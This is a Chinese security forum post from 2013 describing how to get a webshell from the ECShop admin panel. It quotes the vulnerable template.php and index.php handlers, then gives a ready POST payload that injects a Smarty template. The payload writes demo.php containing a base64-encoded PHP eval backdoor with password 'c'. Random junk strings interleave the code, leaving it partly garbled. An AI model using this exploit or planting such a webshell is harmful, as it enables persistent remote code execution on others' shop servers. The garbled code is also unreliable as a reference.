找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2308|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板. i' g( t- m- R
5 u* |5 N% ~8 @* M. {. U5 g# B
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
4 ]- u$ e3 h3 `但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
. a& P2 ?" u! q( ^: v$ Aadmin/template.php! @% z% `& F6 ~" P3 Z! }2 O

. X6 z6 I1 Q7 L6 y! T$ A1 if ($_REQUEST['act'] == 'update_library')   D2 w$ q" C% i: _
4 C4 g1 e8 N; r- m4 R3 w
2   
! {1 R. _' d  {& |
/ ]; ]8 X$ q2 N& E+ P+ H6 K3 {
7 {) [' E$ e$ c0 k5 }1 T$ ]
- g5 L, k. r. h$ W# G9 F, `4     check_authz_json('library_manage');   H* ?4 ~% @0 {0 O0 }
9 f% B4 @, W( }9 O( H, y7 O7 `
5   
% F4 @! o% y$ q0 N* N* F4 P5 ?
- z* e" }  G+ M+ x8 u6     $html = stripslashes(json_str_iconv($_POST['html'])); 3 i- e! e; L- Q0 ]/ |& g0 c
, u! z7 O' e" j8 K( b) K& q
7   ; g0 `% H2 _" Y) l1 b7 ~
2 }- q* J9 v' V; J0 w% Q- y0 p& V# h
8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 2 |7 q4 V! B+ J% P9 q
0 y+ B5 X4 W6 H# |' @; s8 Q, b  {# w
9   - B% S& U0 ~/ m4 Q8 k

7 D6 g- V/ m+ E( F! l5 `* ]10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 % ?. B* ?  D% A8 w) f
8 Z1 b: G( O/ l: l6 G
11   6 Q! |3 I2 M. P
& O0 A& H) V5 k  i5 E2 h
12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
. p% V+ Q) Z$ Q4 P: Y  \5 ?# a9 G. d2 V; Y7 P0 o5 @" B$ [- r9 K
13   
" ?$ p9 e7 ?5 g; f4 V' V8 s" ?/ O0 S
" m, P3 {) G' H: {9 i; e14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 5 @8 Z' ~* i: M

4 }5 z. [1 ^8 q) C6 }0 o% ]% f15     { : Z$ L# i% }* N4 S) A% m8 a

$ U' g, f/ Z+ A. e9 X" N' ~  Q( A16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); & j. Q) {/ o& v3 ?5 @

) A6 O' s3 F3 z- y( }) L$ ?17         make_json_result('', $_LANG['update_lib_success']);
; d' W3 u' |  J, `# ]& g3 {" [' x3 T  U1 Z1 o; K8 o6 g* K
18     }
8 o, B) {" z2 S/ t: o7 d4 B  I  H- u' h6 J8 V
19     else 4 ^" n5 A- m5 E% G
# o; f& u$ t- Y7 I  I
20     {
) Z- b$ V4 {6 M- r' ?( D+ P: D* B4 A4 n: v# j- T" z7 N) o
21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); % [+ k. w7 o6 V

- H9 k; I  V+ G( t* n6 p3 S" a8 @22     }
5 |$ k& \8 C+ f+ [' ?
& C8 G  y! }0 o1 ?) ?23 } ) O' t) t7 d  }
  ]/ |/ ]) v8 r' C8 m
那么找个比较方便调用了模板的文件
+ l+ C+ ~) r. ^& @6 u9 Gindex.php& f8 q* n' d# w. `4 x. O$ T+ T% t

7 }( U# U7 j7 A( `" z1 if ($act == 'cat_rec') # n" l  s3 L- W0 i3 d) d) A! ^0 I
# m. P! m0 ]- b" {0 G) Z9 }# u
2   , g1 a; w* m" _3 F

" B4 h  g, D4 E" j: s3 X! s1 M3 { 0 i$ h8 A- O1 x

4 o+ T/ J: h5 \9 J4 C4   
" g/ y4 X8 v( }
2 t6 s8 a& |" T$ o. o) ?" `# r. C) O5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
# ?2 L* Q4 i6 N! F& R$ `& p
+ d  c+ {- N! E9 f( ^6   
8 n1 N* _* Y5 X0 |: d6 X) a: P% c, }. f) {6 Q
7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; 0 h/ G5 ?( i. ]6 i
; {* |5 o! K* c) X
8   
" K3 V/ e; r5 E: e5 n8 A' G; W6 Q' q' y
9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
2 x4 |& R4 [: ?% a& G/ L0 U$ i  R7 i. |; M6 m+ n0 o3 q7 I
10   8 ^, ]; b! a) L' w; m

0 d, w6 E6 O1 S$ }% T0 g# @( t# v11     include_once('includes/cls_json.php');
+ g! S1 o2 F% D5 n! |; F
$ ]: m. G4 @- T) H! r& c12   
* S! ]: y/ L; N7 I! I
% n% [+ |2 n! q( e; G6 Z. u13     $json = new JSON; % e- }- t( B: Q, {" \" a. o$ j

) a$ F0 ?# F# q1 t1 s/ a14   7 z* E, W6 B# @  v/ S/ A
7 d2 d* g) Y, p$ c# Q8 y' }
15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); 5 G' w% D9 s0 A7 p. Y/ \2 [6 S
; u" Y2 I' t( p! [! b: d
16   4 k: t2 a$ Q$ K% G* o  Z0 a5 q

+ `% f0 @. I3 t2 d; C; Z2 C) Z17     $children = get_children($cat_id); & Q& {  Z  B: _! s: Z; ]0 w  F
: b" U8 O7 H  l% c  z
18   & o6 P8 F% E% v; p

; @* q, `5 ?, g) U19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
, x9 f7 s+ [; L# M/ n8 o# a; z" E- U5 w' Y* A1 S0 n
20   , D, {6 o4 h2 t& R
, q! d2 l6 L6 B: n5 o
21     $smarty->assign('cat_rec_sign', 1);
+ t) }+ w; I, `3 k+ L; c0 M2 L" a2 i& q, Q$ o
22   6 c" r" j# G2 f" Q; f) [

4 V- j8 P% U1 @' A8 I23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
1 P" n2 F4 f  W9 \& O6 z/ K+ Y# T; X- ?5 U" a9 n$ {
24   
5 k: F+ B, ]1 o& y% q+ x& P5 N0 b/ N' I+ W* |: [8 M
25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; 8 K4 `" _* h5 E3 {: S! t

8 a) G# ]$ E1 A" y+ c" _, Z26   
2 ]* X* v+ c2 \9 M$ ]6 d7 I0 K& I8 @7 v
27         echo $rec_array[$rec_type]; ) X' @  M. R6 y9 {

6 @. H* H* X; U2 G. R28   ) w6 D* Z* K: W( K( r3 k

) L: Q7 {; Q: E7 s7 x29     die($json->encode($result));
, [, v+ C" V$ N  a- X
" w" L, r4 Z$ Y1 T3 k, w9 x30   . C" ~4 }  Y- f; H; l1 b
8 G5 `6 D7 _9 _% y$ M8 T
31 } # ?( R0 t$ [8 ^+ S' Z4 C

/ M) S1 Y; |+ @' K( ]. Y那么就有利用方法了
8 V6 J# {4 G8 Z# p+ U2 i  opost包到http://localhost/ec/admin/template.php?act=update_library1 H+ k; A  u, ?/ v
Post内容:
( k/ P9 G& E# K6 U5 [
# T  j9 d0 ]; g/ h7 N! _1 C
* s0 i! f' B! T3 S1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} # {; \/ V& ?" C8 G  C" L
6 j. T% z! [5 e' |' S
然后访问http://localhost/ec/index.php?act=cat_rec+ y0 _4 g. r2 E5 c

1 E# n- e8 D. i* u# oshel地址:http://localhost/ec/demo.php/ _$ `5 z! h1 D% o# U
密码c7 ?7 ~9 i6 }2 c7 A. h& w4 \

8 f: I3 Z4 ]% p) K
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表